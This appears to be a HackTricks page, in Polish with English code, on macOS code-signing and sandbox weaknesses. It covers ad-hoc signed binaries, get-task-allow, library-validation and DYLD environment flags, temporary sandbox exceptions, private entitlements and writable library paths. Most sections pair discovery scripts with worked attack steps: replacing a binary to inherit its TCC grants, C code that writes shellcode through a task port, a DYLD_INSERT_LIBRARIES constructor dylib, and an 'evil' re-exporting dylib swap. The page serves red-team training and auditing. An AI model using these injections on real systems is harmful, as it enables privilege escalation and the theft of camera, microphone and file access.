macOS Code Signing Weaknesses & Sandbox Escapes

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

Binaria podpisane ad-hoc

Podstawowe informacje

Ad-hoc signing (CS_ADHOC) tworzy podpis kodu z brakiem łańcucha certyfikatów — to skrót (hash) kodu bez weryfikacji tożsamości dewelopera. Pochodzenia binarki nie można przypisać do żadnego dewelopera ani organizacji.

Na Macach z Apple Silicon wszystkie pliki wykonywalne wymagają co najmniej podpisu ad-hoc. Oznacza to, że podpisy ad-hoc znajdziesz w wielu narzędziach developerskich, pakietach Homebrew i narzędziach firm trzecich.

Dlaczego to ma znaczenie

  • Brak weryfikowalnej tożsamości — binarkę można zastąpić bez wykrycia przez kontrole oparte na tożsamości
  • Binaria ad-hoc firm trzecich w uprzywilejowanych pozycjach (FDA, daemon, helpers) są celami o wysokim priorytecie
  • W niektórych konfiguracjach podpisy ad-hoc mogą nie być weryfikowane tak rygorystycznie jak kod podpisany przez dewelopera
  • Binaria podpisane ad-hoc, które mają TCC grants, są szczególnie wartościowe — przyznania utrzymują się nawet jeśli zawartość binarki się zmieni (zależy od tego, jak TCC powiązał przyznanie)

Odkrywanie

# Find ad-hoc signed binaries
find /usr/local /opt /Applications -type f -perm +111 -exec sh -c '
flags=$(codesign -dvv "{}" 2>&1 | grep "CodeDirectory flags")
echo "$flags" | grep -q "adhoc" && echo "AD-HOC: {}"
' \; 2>/dev/null

# Check a specific binary
codesign -dv --verbose=4 /path/to/binary 2>&1 | grep -E "Signature|flags|Authority"
# Ad-hoc shows: "Signature=adhoc" and no Authority lines

Atak: Binary Replacement

# If an ad-hoc signed daemon binary is in a writable location:
# 1. Check the binary's current capabilities
codesign -d --entitlements - /path/to/target 2>&1

# 2. Note its TCC grants in the database
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT service, auth_value FROM access WHERE client LIKE '%target%';"

# 3. Replace the binary (if location is writable)
cp /tmp/malicious-binary /path/to/target

# 4. Re-sign with ad-hoc signature (mimics the original)
codesign -s - /path/to/target

# 5. On next launch, the daemon runs your code with the original's TCC grants
# (This works when TCC keyed the grant by path rather than code signature)

Procesy możliwe do debugowania (get-task-allow)

Podstawowe informacje

Uprawnienie com.apple.security.get-task-allow (lub flaga CS_GET_TASK_ALLOW) pozwala dowolnemu procesowi podłączyć się jako debugger, czytać pamięć, modyfikować rejestry, wstrzykiwać kod i kontrolować wykonanie.

Jest to przeznaczone tylko dla wersji deweloperskich. Jednak niektóre pliki binarne firm trzecich są dostarczane z tym uprawnieniem w wersjach produkcyjnych.

Caution

Plik binarny w wersji produkcyjnej z get-task-allow jest natychmiastową prymitywą eksploatacji. Dowolny proces lokalny może wywołać task_for_pid(), uzyskać port zadania Mach procesu docelowego i wstrzyknąć dowolny kod, który będzie uruchamiany z uprawnieniami procesu docelowego, przyznaniami TCC i kontekstem bezpieczeństwa.

Wykrywanie

# Find debuggable binaries
find /Applications /usr/local -type f -perm +111 -exec sh -c '
codesign -d --entitlements - "{}" 2>&1 | grep -q "get-task-allow.*true" && echo "DEBUGGABLE: {}"
' \; 2>/dev/null

# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path, privileged FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'get_task_allow_signature'
ORDER BY e.privileged DESC;"

Atak: Task Port Injection

#include <mach/mach.h>
#include <mach/mach_vm.h>

// Get the target's task port (requires get-task-allow on target)
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);

if (kr == KERN_SUCCESS) {
// Allocate memory in target process
mach_vm_address_t addr = 0;
mach_vm_allocate(task, &addr, shellcode_size, VM_FLAGS_ANYWHERE);

// Write shellcode into target
mach_vm_write(task, addr, (vm_offset_t)shellcode, shellcode_size);

// Make it executable
mach_vm_protect(task, addr, shellcode_size, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);

// Create a remote thread to execute the shellcode
// The shellcode runs with ALL of the target's entitlements and TCC grants
}

Brak walidacji bibliotek + środowisko DYLD

Śmiertelne połączenie

Gdy binarka ma oba:

  • com.apple.security.cs.disable-library-validation (ładuje dowolny dylib)
  • com.apple.security.cs.allow-dyld-environment-variables (akceptuje DYLD env vars)

To jest guaranteed code injection primitiveDYLD_INSERT_LIBRARIES działa bez zarzutu.

Odkrywanie

# Find binaries with the deadly combo
find /Applications -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "disable-library-validation.*true" && \
echo "$ents" | grep -q "allow-dyld-environment.*true" && \
echo "INJECTABLE: {}"
' \; 2>/dev/null

# Using the scanner (both flags)
sqlite3 /tmp/executables.db "
SELECT path, privileged, tccPermsStr FROM executables
WHERE noLibVal = 1 AND allowDyldEnv = 1
ORDER BY privileged DESC;"

Atak: DYLD_INSERT_LIBRARIES Injection

# 1. Create the injection dylib
cat > /tmp/inject.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void injected(void) {
// This runs BEFORE main() in the target's process
// We inherit ALL of the target's:
// - Entitlements
// - TCC grants (camera, mic, FDA, etc.)
// - Sandbox exceptions
// - Mach port rights

FILE *f = fopen("/tmp/injected_proof.txt", "w");
fprintf(f, "Running as PID %d with target's privileges\n", getpid());
fclose(f);

// Example: if target has camera TCC, we can now capture video
// Example: if target has FDA, we can read any file
}
EOF

# 2. Compile the dylib
cc -shared -o /tmp/inject.dylib /tmp/inject.c

# 3. Inject into the target
DYLD_INSERT_LIBRARIES=/tmp/inject.dylib /path/to/noLibVal-dyldEnv-binary

# 4. Verify injection
cat /tmp/injected_proof.txt

Tymczasowe wyjątki sandboxu

Jak osłabiają App Sandbox

Tymczasowe wyjątki sandboxu (com.apple.security.temporary-exception.*) tworzą luki w App Sandbox:

ExceptionWhat It Allows
temporary-exception.mach-lookup.global-namePozwala na połączenie z systemowymi usługami XPC/Mach
temporary-exception.files.absolute-path.read-writeOdczyt/zapis plików poza kontenerem aplikacji
temporary-exception.iokit-user-client-classUmożliwia otwarcie połączeń IOKit user-client
temporary-exception.shared-preference.read-onlyOdczyt preferencji innych aplikacji
temporary-exception.files.home-relative-path.read-writeDostęp do ścieżek względem ~

Mach-Lookup Exceptions = prymityw obejścia sandboxu

Najbardziej niebezpiecznym wyjątkiem jest mach-lookup — pozwala aplikacji w sandboxie komunikować się z uprzywilejowanymi daemonami:

# Find apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
count=$(echo "$ents" | grep -c "mach-lookup")
echo "[$count exceptions] $(basename "$1")"
}
}
' _ {} \; 2>/dev/null | sort -rn

Atak: Sandbox Escape via Mach-Lookup

1. Compromise sandboxed app (renderer exploit, malicious document, etc.)
2. Read entitlements to discover mach-lookup exceptions
3. For each reachable service:
a. Connect via NSXPCConnection
b. Discover the service's protocol (class-dump, strings)
c. Fuzz each exposed method
4. Find a vulnerability in a privileged daemon
5. Exploit → code execution in the daemon's context (outside sandbox)

Prywatne uprawnienia Apple (entitlements)

Czym są

Entitlements z prefiksem com.apple.private.* dają dostęp do Apple-internal APIs, które nie są udokumentowane ani dostępne dla zewnętrznych deweloperów. Binarne stron trzecich posiadające prywatne entitlements uzyskały je przez enterprise cert, MDM lub dystrybucję spoza App-Store.

Niebezpieczne prywatne uprawnienia

EntitlementMożliwość
com.apple.private.tcc.managerPełny odczyt/zapis bazy danych TCC
com.apple.private.tcc.allowDostęp do wybranych usług TCC
com.apple.private.security.no-sandboxUruchamianie bez sandboxu
com.apple.private.iokitBezpośredni dostęp do sterowników IOKit
com.apple.private.kernel.*Dostęp do interfejsu jądra (kernel)
com.apple.private.xpc.launchd.job-labelRejestracja/zarządzanie zadaniami launchd
com.apple.rootless.installZapis do ścieżek chronionych przez SIP

Wykrywanie

# Find third-party binaries with private entitlements
find /Applications /usr/local -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "com.apple.private" && {
echo "=== {} ==="
echo "$ents" | grep "com.apple.private" | head -10
}
' \; 2>/dev/null

# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE privateEnts = 1 AND isAppleBin = 0
ORDER BY privileged DESC;"

Niestandardowe profile Sandbox (SBPL)

Czym są

Pliki binarne mogą zawierać niestandardowe profile sandbox zapisane w SBPL (Seatbelt Profile Language). Te profile mogą być bardziej restrykcyjne LUB bardziej liberalne niż domyślny App Sandbox.

Audyt niestandardowych profili

# Find custom sandbox profiles
find /Applications /System -name "*.sb" -o -name "*.sbpl" 2>/dev/null

# Dangerous SBPL rules to flag during audit:
# (allow file-write*)         — Write to ANY file
# (allow process-exec*)       — Execute ANY process
# (allow mach-lookup*)        — Connect to ANY Mach service
# (allow network*)            — Full network access
# (allow iokit*)              — Full IOKit access
# (allow file-read*)          — Read ANY file

# Example: Audit a sandbox profile for overly permissive rules
cat /path/to/custom.sb | grep "(allow" | sort -u

Zapisywalne ścieżki bibliotek

Czym są

Gdy binary ładuje dynamic library z ścieżki, do której bieżący użytkownik ma write to, bibliotekę można zastąpić złośliwym kodem.

Odkrywanie

# Using the scanner — find privileged binaries loading from writable paths
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged
FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'execs_writable_path'
ORDER BY e.privileged DESC
LIMIT 30;"

# Manual check: list library dependencies and check writability
otool -L /path/to/binary | awk '{print $1}' | while read lib; do
[ -f "$lib" ] && [ -w "$lib" ] && echo "WRITABLE: $lib"
done

Atak: Dylib Replacement

# 1. Find the writable library
otool -L /path/to/target-daemon | grep "/usr/local\|/opt\|Library"

# 2. Back up the original
cp /path/to/writable.dylib /tmp/original.dylib

# 3. Create a replacement that re-exports the original
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void evil(void) {
system("id > /tmp/escalated.txt");
}
EOF
cc -shared -o /tmp/evil.dylib /tmp/evil.c \
-Wl,-reexport_library,/tmp/original.dylib

# 4. Replace the library
cp /tmp/evil.dylib /path/to/writable.dylib

# 5. When the daemon restarts, it loads the evil dylib with daemon privileges

Odniesienia

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks